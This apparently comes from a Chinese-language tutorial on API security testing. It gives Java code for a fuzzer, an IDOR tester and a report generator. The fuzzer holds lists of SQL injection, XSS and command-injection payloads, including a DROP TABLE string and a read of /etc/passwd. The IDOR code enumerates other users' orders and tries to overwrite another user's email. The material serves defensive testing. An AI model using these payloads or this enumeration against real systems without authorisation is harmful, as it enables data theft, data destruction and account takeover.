API 安全测试#

public class ApiFuzzer {
    
    private final RestTemplate restTemplate;
    private final PayloadGenerator generator;
    private final VulnerabilityReporter reporter;
    
    /**
     * Fuzzing 测试入口
     */
    public FuzzingReport fuzz(String baseUrl, ApiEndpoint endpoint) {
        FuzzingReport report = new FuzzingReport(endpoint);
        
        // 1. 获取 API 规范
        OpenApiSpec spec = loadApiSpec(baseUrl);
        
        // 2. 对每个端点进行 Fuzzing
        for (Operation operation : spec.getOperations(endpoint)) {
            List<FuzzingResult> results = fuzzOperation(
                baseUrl, operation
            );
            report.addResults(operation, results);
        }
        
        return report;
    }
    
    /**
     * 对单个操作进行 Fuzzing
     */
    private List<FuzzingResult> fuzzOperation(String baseUrl, Operation operation) {
        List<FuzzingResult> results = new ArrayList<>();
        
        // 1. Fuzz 每个参数
        for (Parameter param : operation.getParameters()) {
            results.addAll(fuzzParameter(baseUrl, operation, param));
        }
        
        // 2. Fuzz 请求体
        if (operation.getRequestBody() != null) {
            results.addAll(fuzzRequestBody(baseUrl, operation));
        }
        
        // 3. Fuzz HTTP 头
        results.addAll(fuzzHeaders(baseUrl, operation));
        
        return results;
    }
    
    /**
     * Fuzz 字符串参数
     */
    private List<FuzzingResult> fuzzParameter(String baseUrl, 
                                               Operation operation,
                                               Parameter param) {
        List<FuzzingResult> results = new ArrayList<>();
        
        // SQL 注入 payloads
        List<String> sqlPayloads = List.of(
            "' OR '1'='1",
            "' OR '1'='1' --",
            "'; DROP TABLE users;--",
            "1' AND '1'='1",
            "admin'--"
        );
        
        // XSS payloads
        List<String> xssPayloads = List.of(
            "<script>alert(1)</script>",
            "javascript:alert(1)",
            "<img src=x onerror=alert(1)>",
            "{{constructor.constructor('alert(1)')()}}"
        );
        
        // 命令注入 payloads
        List<String> cmdPayloads = List.of(
            "; ls",
            "| cat /etc/passwd",
            "`whoami`",
            "$(whoami)"
        );
        
        // 长字符串测试
        List<String> overflowPayloads = List.of(
            "A".repeat(1000),
            "A".repeat(10000),
            "A".repeat(100000)
        );
        
        for (String payload : sqlPayloads) {
            FuzzingResult result = sendFuzzedRequest(
                baseUrl, operation, param, payload, VulnerabilityType.SQL_INJECTION
            );
            if (result.isVulnerable()) {
                results.add(result);
            }
        }
        
        // ... 对其他 payload 类型的处理类似
        
        return results;
    }
    
    /**
     * 发送 Fuzzed 请求
     */
    private FuzzingResult sendFuzzedRequest(String baseUrl, 
                                            Operation operation,
                                            Parameter param,
                                            String payload,
                                            VulnerabilityType type) {
        try {
            Map<String, Object> params = new HashMap<>();
            params.put(param.getName(), payload);
            
            ResponseEntity<String> response = restTemplate.exchange(
                buildUrl(baseUrl, operation, params),
                HttpMethod.valueOf(operation.getMethod().toUpperCase()),
                buildHttpEntity(operation, params),
                String.class
            );
            
            // 分析响应判断是否漏洞
            return analyzeResponse(operation, param, payload, response, type);
            
        } catch (Exception e) {
            // 异常可能表示发现了漏洞
            return FuzzingResult.vulnerable(
                operation, param, payload, type, e.getMessage()
            );
        }
    }
    
    private FuzzingResult analyzeResponse(Operation operation,
                                          Parameter param,
                                          String payload,
                                          ResponseEntity<String> response,
                                          VulnerabilityType type) {
        
        String body = response.getBody();
        int statusCode = response.getStatusCode().value();
        
        switch (type) {
            case SQL_INJECTION:
                // 检查 SQL 错误信息泄露
                if (body != null && (
                    body.contains("SQL syntax") ||
                    body.contains("mysql_fetch") ||
                    body.contains("ORA-") ||
                    body.contains("SQLServer")
                )) {
                    return FuzzingResult.vulnerable(
                        operation, param, payload, type, 
                        "SQL 错误信息泄露"
                    );
                }
                break;
                
            case XSS:
                // 检查输入是否被反射
                if (body != null && body.contains(payload)) {
                    // 检查是否有编码或转义
                    if (!isProperlyEscaped(body, payload)) {
                        return FuzzingResult.vulnerable(
                            operation, param, payload, type,
                            "输入未经过滤直接反射"
                        );
                    }
                }
                break;
        }
        
        return FuzzingResult.notVulnerable(operation, param, payload, type);
    }
}

public class IDORExploiter {
    
    /**
     * 测试批量 IDOR
     */
    public List<IDORFinding> testBulkIDOR(String baseUrl, String token, 
                                          int startId, int endId) {
        List<IDORFinding> findings = new ArrayList<>();
        RestTemplate client = new RestTemplate();
        
        HttpHeaders headers = new HttpHeaders();
        headers.setBearerAuth(token);
        
        for (int id = startId; id <= endId; id++) {
            try {
                ResponseEntity<String> response = client.exchange(
                    baseUrl + "/orders/" + id,
                    HttpMethod.GET,
                    new HttpEntity<>(headers),
                    String.class
                );
                
                if (response.getStatusCode().value() == 200) {
                    // 成功访问到他人资源
                    findings.add(new IDORFinding(
                        id,
                        response.getBody(),
                        determineSeverity(response)
                    ));
                }
            } catch (Exception e) {
                // 忽略错误
            }
        }
        
        return findings;
    }
    
    /**
     * 测试参数篡改
     */
    public IDORFinding testParameterTampering(String baseUrl, String token) {
        RestTemplate client = new RestTemplate();
        
        HttpHeaders headers = new HttpHeaders();
        headers.setBearerAuth(token);
        
        // 原始请求：更新自己的邮箱
        Map<String, Object> originalBody = Map.of(
            "email", "attacker@example.com"
        );
        
        // 尝试更新其他用户的邮箱
        Map<String, Object> tamperedBody = Map.of(
            "email", "attacker@example.com",
            "userId", 12345  // 篡改用户 ID
        );
        
        ResponseEntity<String> response = client.exchange(
            baseUrl + "/users/me",
            HttpMethod.PUT,
            new HttpEntity<>(tamperedBody, headers),
            String.class
        );
        
        if (response.getStatusCode().value() == 200) {
            // 验证是否真的修改了他人邮箱
            ResponseEntity<User> victimResponse = client.exchange(
                baseUrl + "/users/12345",
                HttpMethod.GET,
                new HttpEntity<>(headers),
                User.class
            );
            
            if ("attacker@example.com".equals(victimResponse.getBody().getEmail())) {
                return new IDORFinding(12345, true);
            }
        }
        
        return IDORFinding.notVulnerable();
    }
}

public class SecurityTestReport {
    
    private String projectName;
    private String environment;
    private List<Vulnerability> vulnerabilities;
    private List<SecurityMetric> metrics;
    private LocalDateTime scanTime;
    
    public String generateMarkdown() {
        StringBuilder report = new StringBuilder();
        
        report.append("# API 安全测试报告\n\n");
        report.append("**项目**: ").append(projectName).append("\n");
        report.append("**环境**: ").append(environment).append("\n");
        report.append("**扫描时间**: ").append(scanTime).append("\n\n");
        
        // 执行摘要
        report.append("## 执行摘要\n\n");
        report.append(generateExecutiveSummary()).append("\n\n");
        
        // 漏洞统计
        report.append("## 漏洞统计\n\n");
        report.append(generateVulnerabilityStats()).append("\n\n");
        
        // 漏洞详情
        report.append("## 漏洞详情\n\n");
        for (Vulnerability vuln : vulnerabilities) {
            report.append(generateVulnerabilitySection(vuln)).append("\n\n");
        }
        
        // 修复建议
        report.append("## 修复建议\n\n");
        report.append(generateRemediationPlan()).append("\n\n");
        
        return report.toString();
    }
    
    private String generateVulnerabilitySection(Vulnerability vuln) {
        return String.format("""
            ### %s (%s)
            
            **严重程度**: %s
            
            **发现时间**: %s
            
            **影响**: 
            %s
            
            **复现步骤**:
            %s
            
            **修复建议**:
            %s
            """,
            vuln.getTitle(),
            vuln.getCweId(),
            vuln.getSeverity(),
            vuln.getDiscoveredAt(),
            vuln.getImpact(),
            vuln.getReproductionSteps(),
            vuln.getRemediation()
        );
    }
}